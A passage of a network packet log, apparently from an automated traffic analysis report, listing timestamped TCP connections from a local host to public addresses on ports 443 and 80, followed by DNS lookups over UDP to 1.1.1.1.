Mar 27, 2025 18:51:03.759417057 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:03.787122965 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:03.787166119 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:03.787213087 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:03.787223101 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:03.828489065 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:03.828597069 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:03.830008984 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:03.830035925 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:03.830305099 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:03.831604958 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:03.872348070 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.015918016 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.015948057 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.016354084 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.016419888 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.016501904 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.017760992 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.018160105 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.018224001 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.147886992 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.147926092 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.148041010 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.148271084 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.148283958 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.332214117 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.334001064 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.334245920 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.334258080 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.334471941 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.334902048 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.380302906 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.523730040 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.523751974 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.523816109 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.523828983 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.524157047 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.524652004 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.525082111 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.525082111 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.525094986 CET	443	49752	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:04.525160074 CET	49752	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:04.808413982 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:04.808537960 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:04.812465906 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:04.835963011 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:04.835987091 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:04.849133968 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:04.849206924 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:04.857485056 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:04.860507965 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:04.860541105 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:05.051565886 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:05.103892088 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:05.109168053 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:05.109177113 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:05.109354973 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:05.109359980 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:05.291979074 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:51:05.453675032 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:05.453793049 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:05.458437920 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:05.513653040 CET	49755	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:05.513679028 CET	443	49755	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:14.905956030 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:51:15.605320930 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:15.605412006 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:15.605750084 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:15.607327938 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:15.607347012 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:15.793327093 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:15.793637991 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:15.793694019 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:15.793822050 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:15.793832064 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.661588907 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.661689043 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.661760092 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.662419081 CET	49756	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.662435055 CET	443	49756	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.668066978 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.668106079 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.668345928 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.668843031 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.668852091 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.857357025 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.857655048 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.857685089 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:18.857845068 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:18.857848883 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:19.264013052 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:19.264087915 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:19.264225960 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:19.274812937 CET	49757	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:19.274844885 CET	443	49757	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:27.506519079 CET	80	49711	208.89.73.23	192.168.2.4
Mar 27, 2025 18:51:27.506630898 CET	49711	80	192.168.2.4	208.89.73.23
Mar 27, 2025 18:51:27.663069010 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:27.663110018 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:27.663414955 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:27.663655043 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:27.663667917 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:27.851650000 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:27.852029085 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:27.852045059 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:27.852241993 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:27.852247000 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:31.840986967 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:31.841084957 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:31.841142893 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:31.842248917 CET	49759	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:31.842266083 CET	443	49759	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:31.846133947 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:31.846162081 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:31.846255064 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:31.846415997 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:31.846421003 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:32.034852982 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:32.035334110 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:32.035347939 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:32.035526037 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:32.035530090 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:32.437927961 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:32.437992096 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:32.438050985 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:32.438855886 CET	49760	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:32.438867092 CET	443	49760	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:45.770054102 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:45.770092010 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:45.770185947 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:45.771064043 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:45.771073103 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:45.959376097 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:45.959692955 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:45.959722996 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:45.959852934 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:45.959856987 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.725560904 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.725644112 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.725687027 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.727072954 CET	49761	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.727092981 CET	443	49761	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.731422901 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.731489897 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.731574059 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.731709003 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.731726885 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.917382002 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.917679071 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.917711973 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:48.917872906 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:48.917885065 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:49.321569920 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:49.321624041 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:49.321790934 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:49.322273970 CET	49764	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:49.322295904 CET	443	49764	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:51.721241951 CET	49766	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:51:51.721263885 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:51.721332073 CET	49766	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:51:51.721555948 CET	49766	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:51:51.721565008 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:51.909893036 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:51.910100937 CET	49766	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:51:51.910106897 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:56.657583952 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:51:56.746519089 CET	80	49743	142.251.40.99	192.168.2.4
Mar 27, 2025 18:51:56.746575117 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:52:01.952378035 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:52:01.964286089 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:01.964342117 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:01.964466095 CET	49766	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:52:03.893311024 CET	49766	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:52:03.893326998 CET	443	49766	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:06.117233038 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.117326021 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.117472887 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.118153095 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.118191004 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.303780079 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.304148912 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.304199934 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.304318905 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.304331064 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.708525896 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.708658934 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.708755970 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.709393024 CET	49771	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.709434032 CET	443	49771	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.713886976 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.713941097 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.714035034 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.714215040 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.714246988 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.901257992 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.901568890 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.901635885 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:06.901741028 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:06.901752949 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:07.300134897 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:07.300220013 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:07.300288916 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:07.301168919 CET	49772	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:52:07.301208019 CET	443	49772	172.64.80.1	192.168.2.4
Mar 27, 2025 18:52:26.829883099 CET	49708	443	192.168.2.4	52.113.196.254
Mar 27, 2025 18:52:51.784768105 CET	49782	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:52:51.784811020 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:51.784929037 CET	49782	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:52:51.785082102 CET	49782	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:52:51.785101891 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:51.973598003 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:51.974061966 CET	49782	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:52:51.974083900 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:52:59.237946987 CET	443	49742	204.79.197.222	192.168.2.4
Mar 27, 2025 18:52:59.238048077 CET	49742	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:53:01.965215921 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:53:01.965325117 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:53:01.965392113 CET	49782	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:53:03.176676989 CET	49782	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:53:03.176707029 CET	443	49782	142.251.40.164	192.168.2.4
Mar 27, 2025 18:53:51.852497101 CET	49787	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:53:51.852608919 CET	443	49787	142.251.40.164	192.168.2.4
Mar 27, 2025 18:53:51.852705002 CET	49787	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:53:51.852993011 CET	49787	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:53:51.853032112 CET	443	49787	142.251.40.164	192.168.2.4
Mar 27, 2025 18:53:52.042879105 CET	443	49787	142.251.40.164	192.168.2.4
Mar 27, 2025 18:53:52.043241978 CET	49787	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:53:52.043332100 CET	443	49787	142.251.40.164	192.168.2.4
Mar 27, 2025 18:54:02.051341057 CET	443	49787	142.251.40.164	192.168.2.4
Mar 27, 2025 18:54:02.051409006 CET	443	49787	142.251.40.164	192.168.2.4
Mar 27, 2025 18:54:02.051593065 CET	49787	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:54:03.896809101 CET	49787	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:54:03.896882057 CET	443	49787	142.251.40.164	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 18:50:47.899348021 CET	53	57830	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:47.952733040 CET	53	61250	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:48.797768116 CET	53	58908	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:51.657718897 CET	59927	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:51.657871008 CET	51840	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:51.746051073 CET	53	59927	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:51.746115923 CET	53	51840	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.684525013 CET	59706	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.684705973 CET	52128	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.685269117 CET	54091	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.685399055 CET	54203	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.686151981 CET	54491	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.686327934 CET	53259	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.688045025 CET	50992	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.688221931 CET	54456	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.691462040 CET	51430	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.691678047 CET	58801	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:52.773135900 CET	53	59706	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.773189068 CET	53	52128	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.773825884 CET	53	54091	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.773864031 CET	53	54203	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.774550915 CET	53	54491	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.774640083 CET	53	53259	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.775434971 CET	53	55482	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.776599884 CET	53	50992	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.788034916 CET	53	54456	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:52.989088058 CET	53	51430	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:53.242444038 CET	53	58801	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:55.693295956 CET	55927	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:55.693296909 CET	61946	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:55.697572947 CET	65478	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:55.697694063 CET	57489	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:55.788238049 CET	53	65478	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:55.788309097 CET	53	57489	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:55.798955917 CET	53	55927	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:55.806314945 CET	53	61946	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:56.250349998 CET	63680	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:56.250524044 CET	53509	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:50:56.340946913 CET	53	63680	1.1.1.1	192.168.2.4
Mar 27, 2025 18:50:56.341032028 CET	53	53509	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:00.523032904 CET	63942	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:00.523163080 CET	59465	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:00.611362934 CET	53	63942	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:00.611419916 CET	53	59465	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:03.550040007 CET	59436	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:03.550410032 CET	49636	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:03.638724089 CET	53	59436	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:03.638789892 CET	53	49636	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:04.053308964 CET	55242	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:04.053481102 CET	57405	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:04.142044067 CET	53	55242	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:04.142111063 CET	53	57405	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:05.752866983 CET	53	55187	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:23.293171883 CET	53	54226	162.159.36.2	192.168.2.4
Mar 27, 2025 18:51:24.777643919 CET	53	59864	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:41.715739965 CET	138	138	192.168.2.4	192.168.2.255
Mar 27, 2025 18:51:47.441730976 CET	53	49655	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:47.589003086 CET	53	58397	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:53.896991968 CET	63087	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:53.897142887 CET	52740	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:53.985265970 CET	53	63087	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:53.985284090 CET	53	52740	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:54.923269987 CET	58280	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:54.923417091 CET	49822	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:55.011674881 CET	53	58280	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:55.011825085 CET	53	49822	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:56.955010891 CET	62890	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:57.043093920 CET	53	62890	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:57.969799042 CET	62890	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:58.058051109 CET	53	62890	1.1.1.1	192.168.2.4
Mar 27, 2025 18:51:58.969907045 CET	62890	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:51:59.058142900 CET	53	62890	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:00.985547066 CET	62890	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:01.076435089 CET	53	62890	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:04.985559940 CET	62890	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:05.073798895 CET	53	62890	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:09.890669107 CET	51370	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:09.890878916 CET	57488	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:09.979305983 CET	53	51370	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:09.979331970 CET	53	57488	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:10.907347918 CET	49554	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:10.996551991 CET	53	49554	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:12.943240881 CET	50815	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:13.031969070 CET	53	50815	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:13.944807053 CET	50815	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:14.033011913 CET	53	50815	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:14.955152035 CET	50815	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:15.045264959 CET	53	50815	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:16.959846973 CET	50815	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:17.048048019 CET	53	50815	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:18.171399117 CET	53	49399	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:20.971771002 CET	50815	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:21.059941053 CET	53	50815	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:25.902662039 CET	63689	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:25.902889013 CET	52465	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:25.991012096 CET	53	63689	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:25.991043091 CET	53	52465	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:26.924801111 CET	49997	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:27.013251066 CET	53	49997	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:28.959319115 CET	57449	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:29.052012920 CET	53	57449	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:29.960613966 CET	57449	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:30.049036980 CET	53	57449	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:30.972954988 CET	57449	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:31.061330080 CET	53	57449	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:32.973102093 CET	57449	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:33.061511040 CET	53	57449	1.1.1.1	192.168.2.4
